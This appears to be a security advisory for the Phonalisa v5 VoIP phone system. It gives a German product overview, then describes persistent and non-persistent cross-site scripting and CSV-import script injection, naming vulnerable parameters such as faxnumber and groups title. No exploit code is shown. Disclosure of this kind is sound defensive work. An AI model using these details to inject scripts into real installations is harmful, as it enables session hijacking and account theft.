Product & Service Introduction:
===============================
Die Revolution Ihrer Unternehmenskommunikation. Phonalisa ist ein IP-Telefonsystem, welches 
schon heute alle Ansprüche von morgen erfüllt. In Phonalisa 5 wurde Vieles noch besser gemacht! 
Zu den Highlights zählen u.a. ein neues noch flexibleres Rufumleitungssystem, noch mehr 
unterstützte Endgeräte und vieles mehr! 

- Makeln, Weiterleiten, Rückfrage, Anklopfen, Konferenz
- Pickup von Gesprächen
- Pickup-Gruppen
- Call-Box (Wählbox) für Direktwahl eingegebener Rufnummern
- Eingabe einer Präsenz - welche im Warteschlangen-Monitor angezeigt wird (z.B. Konferenz,...)
- Zentraler Abwurfplatz
- Zentrale Anruflisten
- CLIR (Rufnummer - Unterdrückung) getrennt (extern/intern) konfigurierbar
- CLIP no screening - angezeigte Rufnummer (extern/intern) änderbar
- Rückruf bei „besetzt“/“frei“ - im internen Telefonsystem
- Integrierter Instant Messaging Server

Alle von Phonalisa unterstützten Modelle werden automatisch Konfiguriert. Phonalisa kann Endgeräte 
automatisch für Sie konfigurieren. Sie müssen nur einen neuen Benutzer über die WebUI anlegen und 
direkt am Telefon anmelden. Schon kann telefoniert werden.

Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
1.1
Multiple persistent input validation vulnerabilities are detected in Phonalisa v5 VoiP Phone Application.
The bugs allow remote attackers to implement/inject malicious script code on the application-side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action. When exploited by an authenticated user, the 
identified vulnerabilities can result in information disclosure via error, session hijacking, access to available 
phone line services, manipulated persistent context execution out of the auto route listings for sip gateways.
The vulnerabilities are located in the Routing, Fax and Groups section of the sip phone application and the 
vulnerable bound parameters faxnumber or groups title.

1.2
Multiple non persistent cross site scripting vulnerabilities are detected  in Phonalisa v5 VoiP Phone Application.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required 
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing 
& client-side content request manipulation.

1.3
A persistent code execution vulnerability & validation bug is detected in Phonalisa v5 VoiP Phone Application. 
The vulnerability allows privileged attackers to execute or inject script code on application-side by 
exporting/importing a  manipulated .csv files. Another effect is the vulnerable listing which executes 
the persistent code of the .csv unfilterted on application-side.
